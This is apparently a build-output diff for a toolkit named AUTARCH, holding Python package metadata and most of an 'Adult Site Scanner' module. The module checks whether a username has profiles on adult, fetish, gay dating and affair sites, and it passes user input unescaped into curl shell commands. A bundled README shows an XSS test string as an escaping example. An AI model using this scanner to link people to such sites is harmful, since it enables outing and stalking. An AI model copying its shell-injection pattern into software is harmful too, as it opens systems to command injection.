itsdangerous-2.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
||||
itsdangerous-2.2.0.dist-info/LICENSE.txt,sha256=Y68JiRtr6K0aQlLtQ68PTvun_JSOIoNnvtfzxa4LCdc,1475
|
||||
itsdangerous-2.2.0.dist-info/METADATA,sha256=0rk0-1ZwihuU5DnwJVwPWoEI4yWOyCexih3JyZHblhE,1924
|
||||
itsdangerous-2.2.0.dist-info/RECORD,,
|
||||
itsdangerous-2.2.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81
|
||||
itsdangerous/__init__.py,sha256=4SK75sCe29xbRgQE1ZQtMHnKUuZYAf3bSpZOrff1IAY,1427
|
||||
itsdangerous/__pycache__/__init__.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/_json.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/encoding.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/exc.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/serializer.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/signer.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/timed.cpython-313.pyc,,
|
||||
itsdangerous/__pycache__/url_safe.cpython-313.pyc,,
|
||||
itsdangerous/_json.py,sha256=wPQGmge2yZ9328EHKF6gadGeyGYCJQKxtU-iLKE6UnA,473
|
||||
itsdangerous/encoding.py,sha256=wwTz5q_3zLcaAdunk6_vSoStwGqYWe307Zl_U87aRFM,1409
|
||||
itsdangerous/exc.py,sha256=Rr3exo0MRFEcPZltwecyK16VV1bE2K9_F1-d-ljcUn4,3201
|
||||
itsdangerous/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
itsdangerous/serializer.py,sha256=PmdwADLqkSyQLZ0jOKAgDsAW4k_H0TlA71Ei3z0C5aI,15601
|
||||
itsdangerous/signer.py,sha256=YO0CV7NBvHA6j549REHJFUjUojw2pHqwcUpQnU7yNYQ,9647
|
||||
itsdangerous/timed.py,sha256=6RvDMqNumGMxf0-HlpaZdN9PUQQmRvrQGplKhxuivUs,8083
|
||||
itsdangerous/url_safe.py,sha256=az4e5fXi_vs-YbWj8YZwn4wiVKfeD--GEKRT5Ueu4P4,2505
|
||||
@@ -0,0 +1,4 @@
|
||||
Wheel-Version: 1.0
|
||||
Generator: flit 3.9.0
|
||||
Root-Is-Purelib: true
|
||||
Tag: py3-none-any
|
||||
Binary file not shown.
BIN
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/libffi-8.dll
Normal file
BIN
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/libffi-8.dll
Normal file
Binary file not shown.
BIN
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/libssl-3.dll
Normal file
BIN
Output/AUTARCH_v2.3.0_standalone/autarch/_internal/libssl-3.dll
Normal file
Binary file not shown.
@@ -0,0 +1 @@
|
||||
pip
|
||||
@@ -0,0 +1,74 @@
|
||||
Metadata-Version: 2.4
|
||||
Name: MarkupSafe
|
||||
Version: 3.0.3
|
||||
Summary: Safely add untrusted strings to HTML/XML markup.
|
||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
||||
License-Expression: BSD-3-Clause
|
||||
Project-URL: Donate, https://palletsprojects.com/donate
|
||||
Project-URL: Documentation, https://markupsafe.palletsprojects.com/
|
||||
Project-URL: Changes, https://markupsafe.palletsprojects.com/page/changes/
|
||||
Project-URL: Source, https://github.com/pallets/markupsafe/
|
||||
Project-URL: Chat, https://discord.gg/pallets
|
||||
Classifier: Development Status :: 5 - Production/Stable
|
||||
Classifier: Environment :: Web Environment
|
||||
Classifier: Intended Audience :: Developers
|
||||
Classifier: Operating System :: OS Independent
|
||||
Classifier: Programming Language :: Python
|
||||
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
|
||||
Classifier: Topic :: Text Processing :: Markup :: HTML
|
||||
Classifier: Typing :: Typed
|
||||
Requires-Python: >=3.9
|
||||
Description-Content-Type: text/markdown
|
||||
License-File: LICENSE.txt
|
||||
Dynamic: license-file
|
||||
|
||||
<div align="center"><img src="https://raw.githubusercontent.com/pallets/markupsafe/refs/heads/stable/docs/_static/markupsafe-name.svg" alt="" height="150"></div>
|
||||
|
||||
# MarkupSafe
|
||||
|
||||
MarkupSafe implements a text object that escapes characters so it is
|
||||
safe to use in HTML and XML. Characters that have special meanings are
|
||||
replaced so that they display as the actual characters. This mitigates
|
||||
injection attacks, meaning untrusted user input can safely be displayed
|
||||
on a page.
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
```pycon
|
||||
>>> from markupsafe import Markup, escape
|
||||
|
||||
>>> # escape replaces special characters and wraps in Markup
|
||||
>>> escape("<script>alert(document.cookie);</script>")
|
||||
Markup('<script>alert(document.cookie);</script>')
|
||||
|
||||
>>> # wrap in Markup to mark text "safe" and prevent escaping
|
||||
>>> Markup("<strong>Hello</strong>")
|
||||
Markup('<strong>hello</strong>')
|
||||
|
||||
>>> escape(Markup("<strong>Hello</strong>"))
|
||||
Markup('<strong>hello</strong>')
|
||||
|
||||
>>> # Markup is a str subclass
|
||||
>>> # methods and operators escape their arguments
|
||||
>>> template = Markup("Hello <em>{name}</em>")
|
||||
>>> template.format(name='"World"')
|
||||
Markup('Hello <em>"World"</em>')
|
||||
```
|
||||
|
||||
## Donate
|
||||
|
||||
The Pallets organization develops and supports MarkupSafe and other
|
||||
popular packages. In order to grow the community of contributors and
|
||||
users, and allow the maintainers to devote more time to the projects,
|
||||
[please donate today][].
|
||||
|
||||
[please donate today]: https://palletsprojects.com/donate
|
||||
|
||||
## Contributing
|
||||
|
||||
See our [detailed contributing documentation][contrib] for many ways to
|
||||
contribute, including reporting issues, requesting features, asking or answering
|
||||
questions, and making PRs.
|
||||
|
||||
[contrib]: https://palletsprojects.com/contributing/
|
||||
@@ -0,0 +1,14 @@
|
||||
markupsafe-3.0.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
||||
markupsafe-3.0.3.dist-info/METADATA,sha256=8K5duwnVD7X3Yyw9U_AiCZXvdgGeWJLgpUV0ATak48s,2764
|
||||
markupsafe-3.0.3.dist-info/RECORD,,
|
||||
markupsafe-3.0.3.dist-info/WHEEL,sha256=qV0EIPljj1XC_vuSatRWjn02nZIz3N1t8jsZz7HBr2U,101
|
||||
markupsafe-3.0.3.dist-info/licenses/LICENSE.txt,sha256=RjHsDbX9kKVH4zaBcmTGeYIUM4FG-KyUtKV_lu6MnsQ,1503
|
||||
markupsafe-3.0.3.dist-info/top_level.txt,sha256=qy0Plje5IJuvsCBjejJyhDCjEAdcDLK_2agVcex8Z6U,11
|
||||
markupsafe/__init__.py,sha256=ut2LXj-6sqkIVUdSAx-dboB5crAaRG5y7EO447hmaro,13644
|
||||
markupsafe/__pycache__/__init__.cpython-313.pyc,,
|
||||
markupsafe/__pycache__/_native.cpython-313.pyc,,
|
||||
markupsafe/_native.py,sha256=2ptkJ40yCcp9kq3L1NqpgjfpZB-obniYKFFKUOkHh4Q,218
|
||||
markupsafe/_speedups.c,sha256=efc6azc50WbKxSNinxV4rktIX2xzWfKsLvncC8Z3I_w,4527
|
||||
markupsafe/_speedups.cp313-win_amd64.pyd,sha256=pEBLb45Lqy54Kzc1B6MKt7cTDIiH9ivw5OSptl0K3TA,13312
|
||||
markupsafe/_speedups.pyi,sha256=LSDmXYOefH4HVpAXuL8sl7AttLw0oXh1njVoVZp2wqQ,42
|
||||
markupsafe/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
||||
@@ -0,0 +1,5 @@
|
||||
Wheel-Version: 1.0
|
||||
Generator: setuptools (80.9.0)
|
||||
Root-Is-Purelib: false
|
||||
Tag: cp313-cp313-win_amd64
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
Copyright 2010 Pallets
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1 @@
|
||||
markupsafe
|
||||
@@ -0,0 +1 @@
|
||||
# AUTARCH Modules
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,847 @@
|
||||
"""
|
||||
AUTARCH Adult Site Scanner Module
|
||||
Username OSINT for adult-oriented platforms
|
||||
|
||||
Searches usernames across adult content sites, fanfiction platforms,
|
||||
and related communities.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import subprocess
|
||||
import re
|
||||
import json
|
||||
from pathlib import Path
|
||||
from urllib.parse import quote
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
# Module metadata
|
||||
DESCRIPTION = "Adult site username OSINT scanner"
|
||||
AUTHOR = "darkHal"
|
||||
VERSION = "1.3"
|
||||
CATEGORY = "osint"
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
from core.config import get_config
|
||||
|
||||
# Custom sites storage file
|
||||
from core.paths import get_app_dir as _app_dir
|
||||
CUSTOM_SITES_FILE = _app_dir() / "custom_adultsites.json"
|
||||
# Bulk import file
|
||||
BULK_IMPORT_FILE = _app_dir() / "custom_sites.inf"
|
||||
|
||||
# Common username URL patterns for auto-detection
|
||||
COMMON_PATTERNS = [
|
||||
'/user/{}',
|
||||
'/users/{}',
|
||||
'/u/{}',
|
||||
'/profile/{}',
|
||||
'/profiles/{}',
|
||||
'/member/{}',
|
||||
'/members/{}',
|
||||
'/@{}',
|
||||
'/{}',
|
||||
'/people/{}',
|
||||
'/account/{}',
|
||||
'/id/{}',
|
||||
'/{}/profile',
|
||||
'/user/{}/profile',
|
||||
'/channel/{}',
|
||||
'/c/{}',
|
||||
'/p/{}',
|
||||
]
|
||||
|
||||
|
||||
class AdultScanner:
|
||||
"""Username scanner for adult-oriented sites."""
|
||||
|
||||
# Default site definitions: (name, url_template, method)
|
||||
# method: 'status' = check HTTP status, 'content' = check page content
|
||||
DEFAULT_SITES = {
|
||||
# Fanfiction & Story Sites
|
||||
'fanfiction': [
|
||||
('Archive of Our Own', 'https://archiveofourown.org/users/{}/profile', 'status'),
|
||||
('FanFiction.net', 'https://www.fanfiction.net/u/0/{}', 'content'),
|
||||
('FimFiction', 'https://www.fimfiction.net/user/{}', 'status'),
|
||||
('Wattpad', 'https://www.wattpad.com/user/{}', 'status'),
|
||||
('Literotica', 'https://www.literotica.com/stories/memberpage.php?uid=0&username={}', 'content'),
|
||||
('Adult-FanFiction', 'http://members.adult-fanfiction.org/profile.php?no=0&uname={}', 'content'),
|
||||
('Hentai Foundry', 'https://www.hentai-foundry.com/user/{}/profile', 'status'),
|
||||
('SoFurry', 'https://www.sofurry.com/browse/user/{}', 'status'),
|
||||
('Inkbunny', 'https://inkbunny.net/{}', 'status'),
|
||||
],
|
||||
|
||||
# Art & Creative
|
||||
'art': [
|
||||
('DeviantArt', 'https://www.deviantart.com/{}', 'status'),
|
||||
('Fur Affinity', 'https://www.furaffinity.net/user/{}/', 'status'),
|
||||
('Newgrounds', 'https://{}.newgrounds.com', 'status'),
|
||||
('Pixiv', 'https://www.pixiv.net/en/users/{}', 'content'),
|
||||
('Rule34', 'https://rule34.xxx/index.php?page=account&s=profile&uname={}', 'content'),
|
||||
('e621', 'https://e621.net/users?name={}', 'content'),
|
||||
('Derpibooru', 'https://derpibooru.org/profiles/{}', 'status'),
|
||||
('Twitter/X', 'https://twitter.com/{}', 'status'),
|
||||
('Tumblr', 'https://{}.tumblr.com', 'status'),
|
||||
('Pillowfort', 'https://www.pillowfort.social/{}', 'status'),
|
||||
],
|
||||
|
||||
# Video & Streaming
|
||||
'video': [
|
||||
('Pornhub', 'https://www.pornhub.com/users/{}', 'status'),
|
||||
('XVideos', 'https://www.xvideos.com/profiles/{}', 'status'),
|
||||
('xHamster', 'https://xhamster.com/users/{}', 'status'),
|
||||
('Chaturbate', 'https://chaturbate.com/{}/', 'status'),
|
||||
('OnlyFans', 'https://onlyfans.com/{}', 'status'),
|
||||
('Fansly', 'https://fansly.com/{}', 'status'),
|
||||
('ManyVids', 'https://www.manyvids.com/Profile/0/{}/', 'content'),
|
||||
('PocketStars', 'https://pocketstars.com/{}', 'status'),
|
||||
],
|
||||
|
||||
# Forums & Communities
|
||||
'forums': [
|
||||
('Reddit', 'https://www.reddit.com/user/{}', 'status'),
|
||||
('F-List', 'https://www.f-list.net/c/{}', 'status'),
|
||||
('FetLife', 'https://fetlife.com/users/{}', 'content'),
|
||||
('Kink.com', 'https://www.kink.com/model/{}', 'content'),
|
||||
('BDSMLR', 'https://{}.bdsmlr.com', 'status'),
|
||||
('CollarSpace', 'https://www.collarspace.com/view/{}', 'content'),
|
||||
],
|
||||
|
||||
# Dating & Social
|
||||
'dating': [
|
||||
('AdultFriendFinder', 'https://adultfriendfinder.com/p/{}', 'content'),
|
||||
('Ashley Madison', 'https://www.ashleymadison.com/{}', 'content'),
|
||||
('Grindr', 'https://www.grindr.com/{}', 'content'),
|
||||
('Scruff', 'https://www.scruff.com/{}', 'content'),
|
||||
('Recon', 'https://www.recon.com/{}', 'content'),
|
||||
],
|
||||
|
||||
# Gaming Related (with adult content)
|
||||
'gaming': [
|
||||
('F95zone', 'https://f95zone.to/members/?username={}', 'content'),
|
||||
('LoversLab', 'https://www.loverslab.com/profile/?name={}', 'content'),
|
||||
('ULMF', 'https://ulmf.org/member.php?username={}', 'content'),
|
||||
('Nutaku', 'https://www.nutaku.net/user/{}/', 'content'),
|
||||
],
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self.results = []
|
||||
self.config = get_config()
|
||||
osint_settings = self.config.get_osint_settings()
|
||||
self.timeout = osint_settings['timeout']
|
||||
self.max_threads = osint_settings['max_threads']
|
||||
# Copy default sites and add custom sites
|
||||
self.sites = {k: list(v) for k, v in self.DEFAULT_SITES.items()}
|
||||
self.sites['custom'] = []
|
||||
self.load_custom_sites()
|
||||
|
||||
def load_custom_sites(self):
|
||||
"""Load custom sites from JSON file."""
|
||||
if CUSTOM_SITES_FILE.exists():
|
||||
try:
|
||||
with open(CUSTOM_SITES_FILE, 'r') as f:
|
||||
data = json.load(f)
|
||||
self.sites['custom'] = [tuple(site) for site in data.get('sites', [])]
|
||||
except Exception as e:
|
||||
self.sites['custom'] = []
|
||||
|
||||
def save_custom_sites(self):
|
||||
"""Save custom sites to JSON file."""
|
||||
try:
|
||||
data = {'sites': [list(site) for site in self.sites['custom']]}
|
||||
with open(CUSTOM_SITES_FILE, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
return True
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def add_custom_site(self):
|
||||
"""Interactively add a custom site."""
|
||||
print(f"\n{Colors.BOLD}Add Custom Site{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
print(f"{Colors.CYAN}URL Pattern Format:{Colors.RESET}")
|
||||
print(f" Use {Colors.YELLOW}*{Colors.RESET} where the username should go")
|
||||
print(f" Example: {Colors.DIM}https://example.com/user/*{Colors.RESET}")
|
||||
print(f" Example: {Colors.DIM}https://example.com/profile?name=*{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Get site name
|
||||
name = input(f"{Colors.WHITE}Site name: {Colors.RESET}").strip()
|
||||
if not name:
|
||||
self.print_status("Cancelled - no name provided", "warning")
|
||||
return
|
||||
|
||||
# Get URL pattern
|
||||
url_pattern = input(f"{Colors.WHITE}URL pattern (use * for username): {Colors.RESET}").strip()
|
||||
if not url_pattern:
|
||||
self.print_status("Cancelled - no URL provided", "warning")
|
||||
return
|
||||
|
||||
if '*' not in url_pattern:
|
||||
self.print_status("URL must contain * for username placeholder", "error")
|
||||
return
|
||||
|
||||
# Convert * to {} for internal format
|
||||
url_template = url_pattern.replace('*', '{}')
|
||||
|
||||
# Ensure URL has protocol
|
||||
if not url_template.startswith('http://') and not url_template.startswith('https://'):
|
||||
url_template = 'https://' + url_template
|
||||
|
||||
# Get detection method
|
||||
print()
|
||||
print(f"{Colors.CYAN}Detection Method:{Colors.RESET}")
|
||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Status code (default) - Check HTTP response code")
|
||||
print(f" {Colors.GREEN}[2]{Colors.RESET} Content - For sites with custom 404 pages")
|
||||
method_choice = input(f"{Colors.WHITE}Select [1]: {Colors.RESET}").strip() or "1"
|
||||
method = 'content' if method_choice == '2' else 'status'
|
||||
|
||||
# Add to custom sites
|
||||
new_site = (name, url_template, method)
|
||||
self.sites['custom'].append(new_site)
|
||||
|
||||
# Save to file
|
||||
if self.save_custom_sites():
|
||||
self.print_status(f"Added '{name}' to custom sites", "success")
|
||||
print(f"{Colors.DIM} URL: {url_template.replace('{}', '<username>')}{Colors.RESET}")
|
||||
else:
|
||||
self.print_status("Failed to save custom sites", "error")
|
||||
|
||||
def manage_custom_sites(self):
|
||||
"""View and manage custom sites."""
|
||||
while True:
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.BOLD}Manage Custom Sites{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
|
||||
custom = self.sites.get('custom', [])
|
||||
if not custom:
|
||||
print(f"{Colors.YELLOW}No custom sites added yet.{Colors.RESET}")
|
||||
print()
|
||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Add New Site")
|
||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
||||
print()
|
||||
|
||||
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
|
||||
if choice == "1":
|
||||
self.add_custom_site()
|
||||
else:
|
||||
break
|
||||
else:
|
||||
print(f"{Colors.CYAN}Custom Sites ({len(custom)}):{Colors.RESET}")
|
||||
print()
|
||||
for i, (name, url, method) in enumerate(custom, 1):
|
||||
display_url = url.replace('{}', '*')
|
||||
method_tag = f"[{method}]"
|
||||
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name:25} {Colors.DIM}{method_tag}{Colors.RESET}")
|
||||
print(f" {Colors.DIM}{display_url}{Colors.RESET}")
|
||||
print()
|
||||
print(f" {Colors.GREEN}[A]{Colors.RESET} Add New Site")
|
||||
print(f" {Colors.RED}[R]{Colors.RESET} Remove Site")
|
||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
||||
print()
|
||||
|
||||
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip().upper()
|
||||
|
||||
if choice == "0":
|
||||
break
|
||||
elif choice == "A":
|
||||
self.add_custom_site()
|
||||
elif choice == "R":
|
||||
self.remove_custom_site()
|
||||
|
||||
def remove_custom_site(self):
|
||||
"""Remove a custom site."""
|
||||
custom = self.sites.get('custom', [])
|
||||
if not custom:
|
||||
self.print_status("No custom sites to remove", "warning")
|
||||
return
|
||||
|
||||
print()
|
||||
idx_input = input(f"{Colors.WHITE}Enter site number to remove: {Colors.RESET}").strip()
|
||||
|
||||
try:
|
||||
idx = int(idx_input) - 1
|
||||
if 0 <= idx < len(custom):
|
||||
removed = custom.pop(idx)
|
||||
if self.save_custom_sites():
|
||||
self.print_status(f"Removed '{removed[0]}'", "success")
|
||||
else:
|
||||
self.print_status("Failed to save changes", "error")
|
||||
else:
|
||||
self.print_status("Invalid selection", "error")
|
||||
except ValueError:
|
||||
self.print_status("Invalid number", "error")
|
||||
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
|
||||
def auto_detect_site(self):
|
||||
"""Auto-detect URL pattern for a domain."""
|
||||
print(f"\n{Colors.BOLD}Auto-Detect Site Pattern{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
print(f"{Colors.CYAN}Enter just the domain name and we'll find the pattern.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Example: example.com or www.example.com{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Get domain
|
||||
domain = input(f"{Colors.WHITE}Domain: {Colors.RESET}").strip()
|
||||
if not domain:
|
||||
self.print_status("Cancelled - no domain provided", "warning")
|
||||
return
|
||||
|
||||
# Clean up domain
|
||||
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
|
||||
|
||||
# Get test username
|
||||
print()
|
||||
print(f"{Colors.CYAN}We need a known username to test patterns.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Enter a username that you know EXISTS on this site.{Colors.RESET}")
|
||||
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
|
||||
if not test_user:
|
||||
self.print_status("Cancelled - no test username provided", "warning")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Testing {len(COMMON_PATTERNS)} common URL patterns...{Colors.RESET}\n")
|
||||
|
||||
# Test each pattern
|
||||
working_patterns = []
|
||||
for i, pattern in enumerate(COMMON_PATTERNS):
|
||||
url = f"https://{domain}{pattern}".format(test_user)
|
||||
print(f"\r{Colors.DIM} Testing pattern {i+1}/{len(COMMON_PATTERNS)}: {pattern}{' ' * 20}{Colors.RESET}", end="")
|
||||
|
||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
|
||||
success, output, _ = self.run_cmd(cmd, 7)
|
||||
|
||||
if success:
|
||||
status_code = output.strip()
|
||||
if status_code in ['200', '301', '302']:
|
||||
working_patterns.append((pattern, status_code, url))
|
||||
|
||||
print(f"\r{' ' * 80}\r", end="") # Clear line
|
||||
|
||||
if not working_patterns:
|
||||
print(f"{Colors.YELLOW}No working patterns found.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}The site may use a non-standard URL format.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Try using manual add [A] with the correct URL pattern.{Colors.RESET}")
|
||||
return
|
||||
|
||||
# Display working patterns
|
||||
print(f"{Colors.GREEN}Found {len(working_patterns)} working pattern(s):{Colors.RESET}\n")
|
||||
for i, (pattern, status, url) in enumerate(working_patterns, 1):
|
||||
status_info = "OK" if status == '200' else f"redirect ({status})"
|
||||
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {pattern:20} {Colors.DIM}({status_info}){Colors.RESET}")
|
||||
print(f" {Colors.DIM}{url}{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Let user select
|
||||
print(f" {Colors.DIM}[0]{Colors.RESET} Cancel")
|
||||
print()
|
||||
|
||||
choice = input(f"{Colors.WHITE}Select pattern to add: {Colors.RESET}").strip()
|
||||
|
||||
try:
|
||||
idx = int(choice) - 1
|
||||
if 0 <= idx < len(working_patterns):
|
||||
selected_pattern, status, _ = working_patterns[idx]
|
||||
url_template = f"https://{domain}{selected_pattern}"
|
||||
|
||||
# Get site name
|
||||
default_name = domain.split('.')[0].title()
|
||||
name = input(f"{Colors.WHITE}Site name [{default_name}]: {Colors.RESET}").strip() or default_name
|
||||
|
||||
# Determine method based on status
|
||||
method = 'status' if status == '200' else 'content'
|
||||
|
||||
# Add to custom sites
|
||||
new_site = (name, url_template, method)
|
||||
self.sites['custom'].append(new_site)
|
||||
|
||||
if self.save_custom_sites():
|
||||
self.print_status(f"Added '{name}' to custom sites", "success")
|
||||
print(f"{Colors.DIM} Pattern: {url_template.replace('{}', '*')}{Colors.RESET}")
|
||||
else:
|
||||
self.print_status("Failed to save custom sites", "error")
|
||||
elif choice != "0":
|
||||
self.print_status("Cancelled", "warning")
|
||||
except ValueError:
|
||||
if choice != "0":
|
||||
self.print_status("Invalid selection", "error")
|
||||
|
||||
def probe_domain(self, domain: str, test_user: str, quiet: bool = False) -> list:
|
||||
"""Probe a domain for working URL patterns. Returns list of (pattern, status_code, url)."""
|
||||
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
|
||||
working_patterns = []
|
||||
|
||||
for i, pattern in enumerate(COMMON_PATTERNS):
|
||||
url = f"https://{domain}{pattern}".format(test_user)
|
||||
if not quiet:
|
||||
print(f"\r{Colors.DIM} Testing {domain}: pattern {i+1}/{len(COMMON_PATTERNS)}{' ' * 20}{Colors.RESET}", end="")
|
||||
|
||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
|
||||
success, output, _ = self.run_cmd(cmd, 7)
|
||||
|
||||
if success:
|
||||
status_code = output.strip()
|
||||
if status_code in ['200', '301', '302']:
|
||||
working_patterns.append((pattern, status_code, url))
|
||||
# For bulk mode, take first working pattern and stop
|
||||
if quiet:
|
||||
break
|
||||
|
||||
if not quiet:
|
||||
print(f"\r{' ' * 80}\r", end="")
|
||||
|
||||
return working_patterns
|
||||
|
||||
def bulk_import(self):
|
||||
"""Bulk import sites from custom_sites.inf file."""
|
||||
print(f"\n{Colors.BOLD}Bulk Import Sites{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Check if file exists, create template if not
|
||||
if not BULK_IMPORT_FILE.exists():
|
||||
print(f"{Colors.YELLOW}Bulk import file not found.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Creating template at: {BULK_IMPORT_FILE}{Colors.RESET}")
|
||||
print()
|
||||
|
||||
create = input(f"{Colors.WHITE}Create template file? (y/n): {Colors.RESET}").strip().lower()
|
||||
if create == 'y':
|
||||
template = """# AUTARCH Adult Site Scanner - Bulk Import File
|
||||
# Add one domain per line (without http:// or https://)
|
||||
# Lines starting with # are comments
|
||||
#
|
||||
# Example:
|
||||
# example.com
|
||||
# another-site.net
|
||||
# subdomain.site.org
|
||||
#
|
||||
# After adding domains, run Bulk Import [B] again
|
||||
# and provide a test username that exists on these sites.
|
||||
|
||||
"""
|
||||
with open(BULK_IMPORT_FILE, 'w') as f:
|
||||
f.write(template)
|
||||
self.print_status(f"Created {BULK_IMPORT_FILE}", "success")
|
||||
print(f"{Colors.DIM}Edit this file and add domains, then run Bulk Import again.{Colors.RESET}")
|
||||
return
|
||||
|
||||
# Read domains from file
|
||||
domains = []
|
||||
with open(BULK_IMPORT_FILE, 'r') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
# Skip empty lines and comments
|
||||
if line and not line.startswith('#'):
|
||||
# Clean up domain
|
||||
domain = line.replace('https://', '').replace('http://', '').rstrip('/')
|
||||
if domain:
|
||||
domains.append(domain)
|
||||
|
||||
if not domains:
|
||||
print(f"{Colors.YELLOW}No domains found in {BULK_IMPORT_FILE.name}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Add domains (one per line) and try again.{Colors.RESET}")
|
||||
return
|
||||
|
||||
print(f"{Colors.CYAN}Found {len(domains)} domain(s) in {BULK_IMPORT_FILE.name}:{Colors.RESET}")
|
||||
for d in domains[:10]:
|
||||
print(f" {Colors.DIM}-{Colors.RESET} {d}")
|
||||
if len(domains) > 10:
|
||||
print(f" {Colors.DIM}... and {len(domains) - 10} more{Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Check which domains are already added
|
||||
existing_domains = set()
|
||||
for name, url, method in self.sites.get('custom', []):
|
||||
# Extract domain from URL template
|
||||
try:
|
||||
from urllib.parse import urlparse
|
||||
parsed = urlparse(url.replace('{}', 'test'))
|
||||
existing_domains.add(parsed.netloc.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
new_domains = [d for d in domains if d.lower() not in existing_domains]
|
||||
skipped = len(domains) - len(new_domains)
|
||||
|
||||
if skipped > 0:
|
||||
print(f"{Colors.YELLOW}Skipping {skipped} already-added domain(s){Colors.RESET}")
|
||||
|
||||
if not new_domains:
|
||||
print(f"{Colors.GREEN}All domains already added!{Colors.RESET}")
|
||||
return
|
||||
|
||||
print(f"{Colors.CYAN}Will scan {len(new_domains)} new domain(s){Colors.RESET}")
|
||||
print()
|
||||
|
||||
# Get test username
|
||||
print(f"{Colors.CYAN}We need a test username to probe URL patterns.{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Use a common username that likely exists on most sites.{Colors.RESET}")
|
||||
